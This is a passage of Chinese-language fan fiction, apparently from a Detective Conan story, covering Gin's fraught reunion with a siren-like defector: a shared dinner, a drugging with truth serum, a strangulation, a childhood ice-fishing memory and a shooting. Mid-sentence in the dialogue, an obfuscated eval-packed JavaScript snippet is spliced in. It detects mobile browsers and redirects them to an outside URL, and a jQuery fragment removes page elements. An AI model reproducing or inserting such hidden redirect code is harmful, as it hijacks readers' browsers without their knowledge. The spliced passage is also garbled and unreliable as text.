飞鸟彻羽在做家务这件事情上展现出来很微妙地众生平等、一贯如此和表里如一——从小就很真诚的不喜欢所有家务,现在看起来也没什么长进和改善。 “阿阵?你回来了?现在吃饭吗?” ——半点不见外的反客为主也是老样子,就好像是之间的隔阂从来没有发生过。 琴酒把衣服丢在他身上:“现在去换。” 穿的是什么东西? 飞鸟彻羽接过那一大包“战利品”,在客厅一件件地拆开,展开铺在沙发上,剩下的放不开就摆在地板上,从里面挑 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飞鸟彻羽手机不知道哪里去了,也不想找别的打发时间,倚在门框上双臂交叉抱胸,看着对方干脆利落地拣出泡在碗里的香菇切碎,挑出飞鸟彻羽认不出品种的蔬菜洗净撕碎,一起丢进锅里,加了不知道什么调料。非但半点没有搭把手的意思,反而有一句没一句地给他拌嘴: “要求别那么高嘛,我都好几年没干这种活了。” 上一次有印象做家务的时候,还要踩板凳呢——更何况本身也没擅长到哪里去,能弄熟和记得去腥已经很了不起了好吧? 琴酒才不给他面子,呛声也不影响他手上干活:“所以自己也没点自知之明?不是买了棉花糖和签子给你打发时间吗?” 至少当时烤棉花糖是真的很擅长,串签子也没有什么标准和技术含量。 “……拜托,只有你才喜欢这种腻死人的东西——别推卸责任好不好?” 琴酒对他的少爷舌头嗤之以鼻:“挑嘴,怎么没饿死你。” “天天吃能量棒过活的人没资格这么说=v=” 蒸锅被端了下来,换成浇了油就滋滋冒响的炒锅,合着油烟机运作的嗡鸣声,说话的声音都听起来有些不真切。 颠勺时候扬起的火光映在两个人的脸上,琴酒用皮筋给自己扎了个高马尾,顺着他用力的动作甩来甩去的,在墙上投下一晃一晃的影子。 飞鸟彻羽透亮的眼底火光闪烁:“喂,阿阵,你这样看着特别像个活人知道吗?” “……你脑子有病?” 眼见着差不多该开饭的样子,秉承着谁掌勺谁有话语权的原则,塞壬决定放弃和他争论这个问题,扭过身翻出来他买回的其他东西,一件件拆开,按照琴酒自己放东西的位置,归类摆在一起,再折回厨房端盘子。 然后坐在桌子前没两分钟,刚折下来一根螃蟹腿尝尝味道,就又破了功,忍不住给自己找补:“也没那么差吧,螃蟹不还挺好吃的吗?” “只有弱智才连蒸锅都不会用。” “只有三岁小鬼才喜欢吃甜食,说话太难听诅咒你秃顶哦。” 琴酒嫌他聒噪,干脆懒得理他,低头默默吃饭,长久以来养成的习惯,即使是努力细嚼慢咽也还是吃得飞快,已经吃完的时候,飞鸟彻羽还在和第二只螃蟹较劲。 “……你到底想干什么?” “什么干什么?” 飞鸟彻羽把嚼着螃蟹腿,说话有点含糊:“就是意外,我没想到会在那碰见你。” “你知道撒谎没用。” 琴酒经年累月的审讯技巧,足够叫他自信没人能在他面前说谎。 “我想阿阵咯,所以来看看你——你知道我没撒谎。” 虚伪。 跑了九年才后知后觉——九年都够再生一个当时的飞鸟彻羽了。 ……总是这个样子,喜欢的话张嘴就说,就像是24小时不间断运转的印钞机,肆意往外倾吐着大把大把的钞票,仗着美元是国际货币,根本不在乎其他小经济体的死活。 “你的喜欢本来也没多少吧?” 飞鸟彻羽眼见着对面脸又黑了,连忙见好就收:“其实是在别人邀请我的时候不知道你也要去,我只是从善如流没拒绝。” 琴酒的指尖点在桌面上,打出循循渐进的节奏,实际上是一种老练的审讯办法,可以潜移默化中将对方带入自己的节奏中,即使有心防备也很难完全避免被影响。 “四个月前,朗姆揪出来一个公安的老鼠,送进审讯室里面把他知道的都扒了个干净,公安是什么时候发现他脱落的?” 男人发出一声冷笑,低沉的声音从胸腔响起,像是在给大提琴调音。 “扯谎之前想想清楚,tooru——你究竟是为了什么才专门挑着这个时候找上我的?” 80.二分之一法兰西75 “阿阵很在意这种事吗?希望我怎么回答呢?” 飞鸟彻羽静静把嘴里的东西咽下去,眼见着对面森绿色的眼睛沉了下去:“是或者不是都没有区别的吧?不论是怎样的答案都不影响‘香槟叛逃’的事实不是吗?” 纤细莹白的指尖带着浅浅的海腥味,顺着桌面的纹路从两人之间划出一道无形的天堑,于是早在九年之前就已经存在的楚河汉界,突然在这个时候才分明了起来: “从一见面就一次次质问的理由,是想要得到什么样的答案?阿阵?” 死掉的公安也好,第三颗泪痣也罢,其实都是细枝末节的东西,若有似无的试探——真正想说的话是什么呢? 琴酒阴翳的脸色更沉了几分,目光锁定在飞鸟彻羽眼下的第三颗泪痣,像是什么眼中钉肉中刺:“组织没有发布对‘香槟’的追杀指令,务必要抓活的。” 这很正常,飞鸟彻羽对此毫不意外,自己死了他们再去哪里找第二个能长生不老的灵丹妙药? “……杀死叛徒‘香槟’是我的个人行为,与组织无关,组织也没有再授予下一个香槟代号,”琴酒的眼睛就像是瞄准镜的准星,直直盯住的时候就像是枪口瞄准,“BOSS的意思是,只要你回来,先前的事情全都可以既往不咎。” 谁关心老东西想什么啊。 “为什么不能阿阵选择我呢?反正阿阵又抓不到我。” 飞鸟彻羽一向在他面前很好说话的样子,偏偏在这件事上的态度堪称寸步不让,执拗到维持不住这张人畜无害的皮囊,漏出下面尖锐的獠牙: “到我身边来。” 于是又开始了新一轮的对峙,琴酒的脸色越来越难看,飞鸟彻羽干脆垂下耳羽微微仰头眼巴巴地盯着他看。 耳羽的结构还真是再好不过:不想自己走的时候就垂耳羽装可怜,把阿阵惹生气了的时候就垂耳羽装可怜,想买没用的小玩意阿阵不同意的时候就垂耳羽装可怜。 椅子腿和地面摩擦发出一阵刺耳的呻吟,琴酒这次却不打算理会双方心照不宣的小把戏,转身去了浴室。 脾气更坏了啊——肯定是组织的工作太压榨人的缘故! 飞鸟彻羽默默叹气,把残局慢慢收拾干净,用过的锅盆碗筷都丢在水槽里,仔细看看居然连洗碗机都没有,腹诽阿阵还真是老样子,像个摆在博物馆正中央的古董,不过转念一想,他连自己做饭吃饭都少之又少,更何况洗碗机呢? 能有碗就不错了。 飞鸟彻羽给自己洗漱干净,扯松手腕上的镣铐,从储藏室的角落里面找到一沓硅胶手套,瘫在沙发上当甩手……尾巴掌柜,一个清脆的响指: 【苏生】 一只只手套接连立起,用食指和中指模仿双腿走路,开始按部就班的干活。 ——这样阿阵就也不用自己做家务了,每天下班回家就可以躺在沙发上当大爷。 阿阵平时肯定从来不看电视,遥控器的按键很新,好巧飞鸟彻羽也不看,没开声音,屏幕上的男男女女嘴巴开开合合,发出来的却是浴室里哗啦啦的水声,飞鸟彻羽懒得费劲读唇语辨别究竟是在讲什么废话,难得有点空闲也只是作为打发时间的消遣。 琴酒出来的时候就看见他坐在阴影里脸被照的惨白,不知道在想些什么东西。 肯定不是什么好事。 一杯温水被递过来,碰在飞鸟彻羽的脸颊,于是塞壬就微微扭头转过眼睛,电视屏幕的光亮在眼球上烙下两个闪烁的光点。 “我刷过牙了。” 琴酒裹着浴巾,顶着湿漉漉的头发,身上带着刚从浴室出来的蒸腾的水汽,撇了把尾巴随便横在地上的少年一眼,用眼神骂他是蠢货:“……温水。” 飞鸟彻羽接过尝了一口,确实是。 “我给你吹头发吗?洗澡之后不吹干头发,很快就会秃头,老了还会得偏头痛。” 塞壬不想再把尾巴放回去,于是撑起身子坐在沙发背上,华丽的尾巴拍拍坐垫,示意男人快坐。 “你不会用【言灵】吗?” “用不了呢,”飞鸟彻羽睁眼说瞎话,把手腕伸到他眼前,“被秘银扣住了就是没有办法。” 琴酒看着在自己眼皮子底下忙着干活的一副副手套:……装什么。 但是这话没说出口,男人还是靠着塞壬垂下来的尾巴坐下,用毛巾擦干发梢滴下来的水珠,给他节省时间。 但是飞鸟彻羽不领情,得寸进尺似的小声抱怨:“你坐到我头发了。” 琴酒起身把他的头发抽出来,还不忘说点难听的话:“剪了。” “(ˉw ̄~)切~~” 事实证明飞鸟彻羽做什么家务都不擅长,亮银色的发丝在指缝间被暖风吹起的时候,时不时地就扯到他的头发,颇有种伺机报复的感觉。 风筒巨大的嗡鸣声显得说话声都很不真切:“阿阵,我时间不多了。” 宽大的羽翼折到琴酒面前,晶莹的尾巴横在他的腰间,塞壬刻意褪去了伪装之后,男人几乎不费吹灰之力就能找到隐秘在羽毛根部的眼球,还有鳞片与鳞片之间缝隙处的细小藤壶。 “总有一天会变成阿莲那个样子,甚至更严重,”飞鸟彻羽语气平淡,说话的时候手也不停,就像是在讲述别人的故事,“我们迟早都要为忤逆时间的洪流而付出代价,我们所有人,一个都跑不掉。” 琴酒记得当年香槟刚刚逃脱的时候,BOSS用真容见过自己一次,甚至都不能用“人形”: 远远看去就像是一只巨大的毛虫,走进了才能发现是由不知道多少人的身体组织构成的怪物,被匪夷所思的缝合在一起,中间用藤壶连接,形成了一个整体,绒毛是四肢,里面能看到少数完整的头颅,还有被打散在其他部位的眼睛嘴巴之类。 “琴酒?” 彼时他刚从审讯室出来,身上带着洗不掉的血腥味,香甜的血腥味让怪物移不开眼。琴酒毫不意外,在这个家伙感到饥饿的时候,会不会伸手拿自己果腹。 想想就恶心。 怪物似乎也真情实意的动过心思,但在一阵古怪地争吵之后,嘴里嘟囔着“太不像了”,“只能吃老头”之类的怪话之后,放弃了这个主意不知道几个头异口同声地开口,屈尊免贵似的: “香槟迟早会回来找你的。” 琴酒手指用力,握住了尾尖想要看仔细,却被飞鸟彻羽飞快地收了回去,于是入眼间又是好看的挑不出一处错,就好像只要看不见,就又可以自欺欺人式的粉饰太平。 ……死要面子。 “还有多久?” “大概……十年左右吧?可能早些也可能晚些,说不定下一次咱们再见面的时候,这个身体里面的就不再是‘我’了——或者干脆变性了也不是不可能?” 飞鸟彻羽自己也不是很确定。 “你吃了多少?” “很多,可能比阿阵杀过的人还要多。” “……吐出来!” 琴酒只觉得额间的青筋止不住地跳,比自己这些年带着一个个蠢货给他们善后挤压起来的怒火加起来还要多。 疯了吗?!明知道这种行径就是饮鸠止渴,飞鸟彻羽又要发什么神经?! “不行啊,我需要魔力,很多很多——阿阵也知道我小时候很弱的吧?没有这种傍身的东西,我最后的价值就只剩下躺在手术台上,被敲骨吸髓割肉放血,成为珍稀药材了。” 成为镶合体的话,出卖未来,至少能抓到触手可及的现在——反正他至始至终也没什么好的选择。 “我不能死啊,”飞鸟彻羽惨笑一声,用手指梳理他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14599265|141171||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被吹乱的发丝,“我还要拖着所有人一起下地狱呢。” “犟嘴,公安真是把你教坏了——一群饭桶。” 琴酒一时间不知道该讲些什么,沉默蔓延开来,只听见风筒鼓风的嗡鸣声: “……我想杀你。” “我知道。但是杀掉‘香槟’的话,就算是阿阵也叫背叛组织吧?” 宁愿背上“背叛组织”的罪名都要杀掉我的话,阿阵其实对组织也就那么回事嘛~ 飞鸟彻羽对此很满意,一想到所有人恨自己的不恨自己的,立场对立的统一战线的,无不真心实意地祈祷自己长命百岁千岁万岁,只有阿阵真心实意地希望自己去死…… 真好啊。 可以预想到的,可以被接受未来,而不是泡在玻璃罐里,痛苦的延续生命。 “我期待着——麻烦到那个时候,给我个体面吧。” 飞鸟彻羽细细检查之后,确定没有吹漏,才接过手套端过来的小碗,用小勺舀起一点绿色的不详物体就要往他脸上涂。 顺便指使手套帮琴酒抓着头发。 “是面膜啦。阿阵已经26岁了,作息不规律,饮食不健□□气受伤乱七八糟的叠加在一起,根本不到老的时候就会一脸褶子了吧?” “涂了这个,变成不老不死的老妖怪。” 面膜调的太稠了,要用小勺一点一点推开,飞鸟彻羽对于“把时间浪费在琴酒身上”这件事乐此不疲,完全不见他平时不爱理人的讨厌劲。 “我后悔了。” 飞鸟彻羽觉得自己可能是之前睡过了头,现在折腰低头的姿势又有些供血不足,怎么又开始头晕? “就当是我刚刚在餐桌上说的话都在发疯,阿阵还是烂在组织里面比较好,反正……” ? 又是一个大晃神,这次差点直接栽下去,飞鸟彻羽连忙扶住身下的布料,爬在沙发背上。 琴酒很淡定地先接住了他掉下来的碗勺,顶着一张“绿脸”,搁在茶几上。 怎么……?什么时候? 塞壬最终还是没能抵挡得住犹如海浪一般此起彼伏的眩晕掉了下去,被早就有心理准备的琴酒在下面伸手接住。 茶几上喝了两口,现在已经晾凉的“温水”,毫不起眼的站在一旁的角落。 ——这次是吐真剂,组织最新的研究成果,无色无味,还掺了一点安眠药。 琴酒把他放在沙发上,先去把脸上黏糊糊的东西洗掉,再把塞壬搬到他自己的那件卧室,昏暗的灯光打在睫毛上,留下些许浓密的阴影。 ……不长记性,也没警惕心。 一时间他自己也想不清楚,究竟是该讥讽飞鸟彻羽刚上一次当紧接着还能再上第二次,还是该鄙夷组织的叛徒在组织的琴酒面前都不知道提起一点警惕。 也许是自己的错,黑泽阵把他教坏了,只是琴酒并不想改。 没醒的时候看起来倒是很乖。 男人站在阴影里,在这个时候才愿意目不转睛地盯着这张熟悉又陌生的脸,就好像是只有在这种情况下,他们之间才能维系的住一点限定式的体面。 不然怎么办呢? 打个你死我活两败俱伤,就像是对待其他的“老鼠”一样? “香槟”不是组织的叛徒。 ——不是组织的,是我的。 这么想着,琴酒的双手握住少年纤细的脖子,太过接近的距离,他甚至能感受到手心里跳动的脉搏。 不会有人能比自己更了解他了,琴酒笃定这一点。 看见他的不为人知,听见他的欲言又止,理解他的迫不得已,觊觎他的温柔——也真心希望他去死。 琴酒比飞鸟彻羽更懂自己。 如果注定要走上这条死路的话,不如死在自己手上。 81.二分之一法兰西75 苍白的双手掐住飞鸟彻羽纤细的喉咙慢慢缩紧,求生的本能被窒息的痛苦唤起,塞壬难耐地下意识握住了琴酒冰冷的手,本能性的挣扎。 一双失神的眼睛半阖着,露出眼皮下涣散的瞳孔,终于兜不住的眼泪从眼角滑落,滚在脸侧的床单上留下两个小小的深色的水渍。 挣扎在此届和彼界分界线中的人是这样的,活着也痛苦,往生的不好过,所以就只好像这样苟延残喘,活不起又死不掉。就好像不论怎么选都是错误,怎样抉择都没有前路,一定要浑身泥泞不堪地挣扎,最后万般不愿地迎来自己的死期。 飞鸟彻羽是这样,琴酒好像也是这样。黑的和黑的混在一起也只能是黑的,一样浸染在沼泽里,挣扎谁沉下去的更晚罢了。 琴酒从那双朦胧的眼睛中窥见了一丝清明。 ——认出是我了。 原本有力的双手一顿,沾满了鲜血和自己都不知道有多少条命债的杀手第一次认真直视被自己杀死的眼睛,在昏暗的环境里,眼球折射着诡异的光,看起来很像玻璃。 会怨我吗? 会反悔吗? 飞鸟彻羽难受地呛咳了一声,蹙着眉,濒死的恐怖让他感觉想要干呕,本能性的挣扎引起浑身不受控制的痉挛,让他很难控制自己的身体,总之他一时半会没能作出反应,只是好像漫无目的的挣扎着,身下的鱼尾难耐地轻轻拍动,发出诡异的“啪唧”声——就像是搁浅的鱼,努力张大嘴巴,企图多汲取一点氧气,最后也无非是干涸在河边或者沙滩。 哦。 琴酒后来又想起来了,飞鸟彻羽不一样,他当然会是第三种情况:他会死在实验台上,手术台上,或者人类的餐桌上。 无脚的飞鸟,负羽的游鱼——这种怪物从诞生之初就注定了,不论哪里都不会有他的归处。 也许也是在纠结。 半晌,塞壬松开从他手里争夺氧气的想法,伸出无力的双臂,敞开胸怀,给正在行凶的杀手看自己失焦的眼睛。 要抱。 飞鸟彻羽很少主动提起需要什么情感支持。 他可能很直白很真诚地说“喜欢”,撒这种“把五分吹成五百”的小谎,或者说点什么似是而非的东西,拐弯抹角,各种暗示,但就是不明说。 一方面他确实不是情感丰富的性格,另一方面其实当时同样冷淡的黑泽阵也给不了太丰富的情感支持,黑泽阵在那时候,自己都是个孩子。 琴酒突然很没由来的想起来,在飞鸟彻羽还是香槟,黑泽阵还不是琴酒的时候,某一次接他从实验室回来,难得的没有任务,小孩的精神还算好,于是两人顶着深冬的严寒,提着水桶和鱼竿去钓鲑鱼。 少年从湖面丢下一块大石头,从冰层上弹了一下,原地旋转着滑远了,留下原地一点点白色的冰碴。 就是冰面已经冻厚了的意思。 黑泽阵正是火气旺的年纪,大冷天照样穿着他的经典皮肤——黑风衣加黑礼帽,只是里面换了厚的内衬,带着厚围巾,招招手,率先站在冰面上,换好了冰刀鞋:“上来。” 飞鸟彻羽裹得像个粽子,和真货的区别就是还漏了一双眼睛,长途跋涉的后遗症就是脑袋一点一点的给来来往往所有过路的人隔空磕头,被冷风一吹脑子更木了,茫然地站在岸边愣神。 太冷了,感觉每一条染色体都要冻硬了。 ……笨。 黑泽阵之前也没用溜冰的经验,但是这种事情对于运动神经发达的人来说见过几次就能掌握最基本的要领,很快就如履平地,滑回岸边把冻成小鸟冰棍的家伙抱下来,放在身边的冰面上。 长久的相处,少年早就充分认识到塞壬是个运动废物,小脑一起进化成大脑的新奇物种,预计飞鸟彻羽不可能有什么亮眼表现,所以干脆叫他扯住自己的风衣下摆,自己在前面拖着他。 就像是某些野生动物,成年的家长带幼崽一样,会叫幼崽咬住自己的尾巴排成一排。 ……然后飞鸟彻羽马上给他表演了一个五体投地,趴在地上,像是在表演什么行为艺术。 黑泽阵狭长的眼型很难得的瞪得滚圆:……叹为观止。 飞鸟彻羽摔了一下,终于清醒一些,开始努力挣扎着站起来。 坏消息:穿的太多爬不起来,只好在冰面上蠕动。 少年吓了一跳,转了一个圈再折回来,无师自通地学会了怎么刹车,冰刀停在飞鸟彻羽身边,把趴着的塞壬抱起来,重新放在冰面上。 “摔到哪里了?” 小孩茫然地眨眨圆溜溜的眼睛:“不知道。” 黑泽阵上手摸摸他的脸:“这里疼吗?” 飞鸟彻羽摇摇头,实话实说:“不疼。” “这里?” “不疼。” “这?” “也不疼。” 一直到把上上下下可能受伤的部分摸了一遍,都得到了“不疼”的反馈之后,黑泽阵才放心下来,仔细把他身上摔得凌乱的衣服打理整齐,排掉上面沾到的冰碴。 好消息:穿的太多根本没有受伤。 黑泽阵在每次感觉自己对他的心理预期已经放的够低的时候,总能被飞鸟彻羽刷新下限:“连自己受没受伤都不知道,蠢货。” 不过反正从一开始也没指望飞鸟彻羽能自己学会,所以也说不上什么失不失望,黑泽阵一向不难为蠢货,干脆背着他滑。 厚厚的围巾刚刚弄得有点散了,拖出长长的“尾巴”,还有周边被放跑的银色发丝,一起随风飞舞。 昏暗的天空开始下起小雪,被风鼓动着四处飘散,像是海浪中的磷虾和小鱼。 有零星的雪花顺着风落到黑泽阵猩红的围巾上和浓密的睫毛上,然后和呼吸中的水汽一起,凝结成白霜。 小孩为了躲避被风吹散,一直往自己头上脸上拍的头发,把脸埋在黑泽阵的背后,听着他节律的心跳声。 ......真好啊。 飞鸟彻羽的身体不能长期吹风,即使是裹得很严实也不行,玩了一会之后,黑泽阵背着他回到岸边,找了一处合适的冰面,支起折叠椅和折叠伞,在冰面上开了一个钓洞,开始垂杆钓鱼。 顺便有一搭没一搭地回答着飞鸟彻羽各种奇奇怪怪的问题。 “冬天真的会有鱼吗?会不会都冻死了?” 塞壬对钓鱼还是吃鱼都没什么意见,就是说也都没什么兴趣,黑泽阵给他在岸边搭了一个小火堆,叫他烧火玩,美其名曰是为了一会烤鱼的时候用,现在暂时由飞鸟彻羽照看,但是看着孱弱的火焰在寒风中瑟瑟发抖的样子,就知道肯定是和飞鸟彻羽一样指望不上。 “有,冻不死。” 再寒冷的水域也总有鱼群生存下来,在厚厚的冰层下熬过一整个严酷的冬天,知道春天冰层解冻的时候跃出水面。 飞鸟彻羽明明之前自己没怎么活动,现在又感觉累了,把椅子搬到黑泽阵身边,没骨头似的倚在他身上,静静地等待着映在眼球中的,像鱼尾一样在寒风中摇曳着的火苗越来越小。 然后在心里默默期待着它像自己预想的那样被严寒压垮。 “……那就是还不够冷呢?” 黑泽阵总感觉之所以现在都不上鱼的主要原因,就是因为飞鸟彻羽总是在小声嘟嘟囔囔的讲话,把鱼都吓跑了自己才钓不到。 把塞壬刚刚溜冰时候颠散的围巾重新解下来裹好,然后打了个松松垮垮的结,再把自己的头发一起整理好,然后用围巾一起扎好,接过飞鸟彻羽烤的半焦不焦半化不化,正正好还热着的棉花糖塞进嘴里,含糊道: “地球上没有那么冷的地方。” “喔。” 小孩脸埋在厚厚的布料后面,瓮声瓮气地应了一声,又小小的安静了一小会。 水面上的浮漂随着风力沉沉浮浮,却一直没有鱼咬钩的痕迹。 但是黑泽阵总是很有耐心,他具备一个猎手所有应该具备的优良特质,稳稳地坐在风中,等待着猎物咬钩,终于有条耐不住性子的鱼,被冬天的食物短缺冲昏了头,决定铤而走险,动了动裹着鱼钩的鱼饵。 快了,再等等,等到鱼把鱼钩整个吞下去…… “火要熄了。” 水面上跳起一个小小的水花,再也没有了跃跃欲试的蠢鱼的踪迹。 飞鸟彻羽倚在黑泽阵身上,双眼直勾勾地上神,被风雪摧残的焰火正在肉眼可见的速度越缩越小,再这样下去,不说是烤棉花糖还是取暖,恐怕很快就会熄灭,然后最后一丝温暖也被寒风吹走,一点灰烬也别想剩下。 塞壬对着小火堆开始神神叨叨,有种摆摊算命的神经:“天太冷了就是这样的,而且风也好大,露天的火苗是烧不久的。” “很快就会死掉了,我们就只好挨饿,或者吃生鱼。” 黑泽阵把鱼竿夹在椅子旁边的架杆上,腾地站了起来,差点把软骨头的小孩晃倒。扭身回到停在旁边的车上,拎下来一个桶。 别问他明明没到合法考取驾驶证的年龄,车是怎么开来的——当然是非法驾驶。 扭开瓶盖先是一股刺鼻的汽油味,黑泽阵塞进去几根木头,把里面的液体泼在火堆上,顿时间焰火蹿得有两米高。 “着了。” 飞鸟彻羽默默地把手往回缩了缩,以防把袖子点着,仰头看着少年的森绿色的眼睛。 “还有什么废话一起都说完。” 塞壬爬到黑泽阵怀里趴着,从肩膀处探出头来,小心翼翼地把手里面的签子伸过去:“那如果是温带鱼怎么办呢?” 黑泽阵又要抓鱼竿又要抱孩子,怎么样都不方便,干脆抬了抬飞鸟彻羽的身体,叫他整个挂在自己的肩膀上。 ……总觉得背后发烫。 “温带鱼一时半会也冻不死,”少年嚼着嘴里的东西,一边扶着塞壬的下半身以防这个棉球滚下去,一边紧紧地盯着水面上的浮漂,“说得好像少给你穿衣服了一样。” “再过两年我们就申请到南边去。” 所以天太冷了也没关系,多穿厚一点,实在不行就搬家——总是会有办法的。 飞鸟彻羽于是不说话了,从这个角度黑泽阵看不见他的表情,但光听声音也能想象出来一个大概:被围巾遮住大半张脸,但还是能露出那一双狡猾到溜溜转的眼睛,一看就知道是满肚子的坏水。 “阿阵你是不是钓不到鱼?” 那天究竟是钓没钓到鱼,琴酒后来有点记不清了。 谁能把一桩桩一件件的琐事都刻在脑子里面,记得那么清楚? 不过从后来的推断来看,应该还是钓到了的。 从那天之后,塞壬偶尔地会抱怨淡水鱼有种水腥味,这么一顺思路,记忆就很快被一起唤醒了。 当时对河鲜异常抗拒的飞鸟彻羽怎么也不肯尝试淡水肉,在黑泽阵吃过一口,并且再三保证没有问题,口味极佳的情况下,不情不愿地尝了一点点,然后留下了长足的心理阴影,一直到很久之后还要反复提及: “吃起来好像下完雨之后的泥巴——我们是泥巴怪。” 飞鸟彻羽像他,长得不像性格不像,非要说的话找不出什么例子,但是总会在举手投资之间的细节之中透漏出些许一起生活过很久,彼此磨合过的痕迹。 ——就比如塞壬总是脱口而出的古怪比喻句,和琴酒更是一脉相承。 每每到这个时候,银发碧眼的杀手就会居高临下地瞥他一眼,偶尔心情好还特别闲的时候,还会伴随着一声冷嗤:“你吃过泥巴?” 飞鸟彻羽当然是没吃过的,就只好被堵得说不出话,但是他也不记仇,不太重要的事情就更不往心里去,过几天就又把这件事给忘了,于是过个一年半载,冷不丁地被什么东西唤起了记忆,再想起来的时候,再提起一遍“泥巴”,然后再被他怼一次。 琴酒松开了一直被自己抓在手心里面的脖子,连带着之前那些没意义的记忆一起,被一起甩在床上,发出一连串狼狈的呛咳。 “……装够了?” 飞鸟彻羽被他掐的喉咙火辣辣的疼,发出一点声音都像是在撕扯着皲裂的血肉,只好用无力的双臂支撑起身体,勉强靠在床头,手中比比划划,借着昏暗的灯光,琴酒能看清楚他控制不住颤抖的手指。 ‘什么时候发现的?’ “......你当我是健忘症吗?” 算是从实验室出来的弊病,太长时间太高浓度的药物和治疗魔法,飞鸟彻羽的身体早就对它们产生了相当程度的耐受性,严重到后来小病小伤都要尽量减少药物和魔法的干预,以防进一步拉高阈限,等到真正危急的情况时束手无策。 可是已经在那时候习惯了药物和魔法刺激辅助,才能维系起新陈代谢正常循环的身体停了药物,就患上了难以维持的“懒病”——取而代之的是再生障碍。 ‘我以为……’ 飞鸟彻羽抬手拭去眼尾的泪痕,努力平复自己的身体反应,即使是在装晕,被窒息的感觉也不是假的。 ‘这个时候选择“杀掉”的话,对我们两个都好。’ 是吗。 男人阴沉的脸色,没有给他留面子,当面冷笑出声:“是你自己代替我们两个,自己臆想出来的——但是你凭什么代替我做决定?” 琴酒侧耳,听见了硬物啄玻璃的声音,就像是鸟类的喙——之前早就听过无数次了,简直熟悉的不能再熟悉。 拉开窗帘,果然不出所料,是飞鸟彻羽在香槟时期就养在身边当狗腿子的那只白颈鸦,爪子抓住一个文件夹,和它的主人如出一辙的不见外,半点不客气的从敞开一条缝的窗玻璃挤了进来,扑扇着翅膀,把文件夹递给琴酒,落到飞鸟彻羽手边。 主人敷衍地抬手摸了摸它的背羽:‘现在脱离组织,我签了……’ 飞鸟彻羽一时间不知道“自愿赠予”该怎么说,他的手语完全就是半吊子,如果说给塞壬都不擅长的语言排个顺序,手语能够放在第二的位置——第一是盲文。 但是说不出来也没关系,反正琴酒已经自己看见了。 男人拍开顶灯,一条条飞快地阅读着里面包含的内容,本就稀烂的心情肉眼可见的速度变得更烂。 飞鸟彻羽浑身疼得厉害,尤其是脖子,而且很累,也不想说话,只是静静地靠在床头等他读完,把几张纸一起拍在塞壬的尾巴上,露出琴酒最擅长的表情——扯起嘴角的狞笑: “解释。” ‘我觉得可能你会喜欢的,还有以后应该会用得到的,都在这里。’ 包括但不限于,保时捷的股份,两座军工厂,一整条秘银脉矿,某个奢侈品牌,还有各种乱七八糟杂七杂八的东西——来源于谁的手笔不言而喻。 细细想来,飞鸟彻羽从小到大狼狈过落魄过,但是真的从来没穷过。 即使是在自己神经病浓度百分百的家里,还是之后被抓到组织里面,自由受限但是物质生活从来没有匮乏过。 最穷的三年,每天吃完饭都要自己刷碗,还要跟一只蠢猫抢地盘,真是光想想就要让人难过到掉眼泪了。 ‘有钱,不,应该说有资本的话,即使离开了组织也会过的很好……’ 飞鸟彻羽眼看着对面越来越阴沉的脸色,即使塞壬对人类的情绪感知再迟钝,到底不是傻子,也知道这种时候应该识趣地住嘴,住手。 少年小心翼翼地抬眼瞄着对面,一边比比划划:‘死了变成鬼缠着阿阵。’ ——才怪哩,飞鸟彻羽要是能学会听话才是有鬼。 琴酒自认为已经很多年没有这么情绪激动的时候了,他本身情绪稳定,也不用发泄情绪的方式解决问题,但是现在的情况让他真的很想把飞鸟彻羽的脑子扒开看看,见识见识里面填的都是什么水平的肿瘤。 ——也许根本不需要多此一举,脖子以上的部位就全都是。 “解释!” 男人冷笑一声,上前两步抓住少年后脑的头发,强迫他抬起头来和自己对视,像是一头含住了猎物喉管的狼,只待对方说错一个字,就要撕开他柔软的喉咙,啜饮他滚烫的鲜血。 “是不是只要我现在答应,你就能快快乐乐的去死?” 飞鸟彻羽伸手把他推开一点,方便自己能用手语交流: ‘其实就是阿阵能给组织带来的价值类型发生转变了,作为杀手的价值中,忠诚是最重要的考量标准,但是作为合作伙伴的话,利益才是第一位的——奴隶主才需要用忠诚确保手下奴隶的归属权,而资本的本质是逐利。’ ‘阿阵从第一个,’飞鸟彻羽手指划开一道长长的距离,‘变成了第二种。’ ‘组织的主要产能在制药方面,热武器供应不足——这点一直是通过签订合同在外购买,但阿阵成为供应商的话,合作伙伴的身份就优先于组织叛徒。就像香槟的身份之于组织来说,可以排在任何人事前面,当然也肯定会再派人刺杀阿阵的,不过他们肯定没资格和阿阵相提并论,构不成威胁。’ ‘不存在直接的捕食或者寄生关系,阿阵和其他老东西一样,只拥有“金钱”而不具备研究价值,那阿阵也就拥有了和他们坐在同一张桌……’ 【开枪】 ——飞鸟彻羽之前从未对琴酒使用过言灵,不代表他以后就不会这样做。 琴酒长久以来在高危高压环境下养成的警惕性和防备心,让他在任何时候都会把枪支放在自己伸手就能拿到的地方,并且随时保持待命状态。 当然现在也不例外。 波莱塔将内部填充的子弹顷刻间倾斜一空,这种距离下开枪即使是装了消音器也震得塞壬的鼓膜生疼,贴身打出的子弹被在最后关头扭转了角度,只是蹭掉了塞壬胯部的一大片鳞片。 ——太近的距离不允许飞鸟彻羽下达精确但是冗长的指令,只通过精悍的表达,就有可能会像现在这样,被对方抓住空子,不抵抗不拒绝的方式减轻【言灵】的影响。 失去鳞片保护的皮肉裸露出来,往外丝丝缕缕地渗着血,疼得飞鸟彻羽眼前发黑,揪住床单缩成一小团,然后被琴酒用刚开过枪,尚且滚烫的枪口摁在伤口,塞壬已经失声了,用耳羽遮住眼睛,大口大口地喘气。 飞鸟彻羽一直坚定的认为,被枪伤了之后能和没事人一样活蹦乱跳的,都是影视作品里面演绎的结果,现实情况下空腔效应会教每个不信邪嘴硬的家伙做人的。 虽然他自己觉得自己从没在这种情况下嘴硬过。 琴酒从柜子里面摸出医药箱,拿出未开封的小瓶酒精,拧开瓶盖就淋在飞鸟彻羽的伤口上,疼得浑身止不住地痉挛。 里世界里面最叫人闻风丧胆的杀手,这次终于被飞鸟彻羽惹毛了。 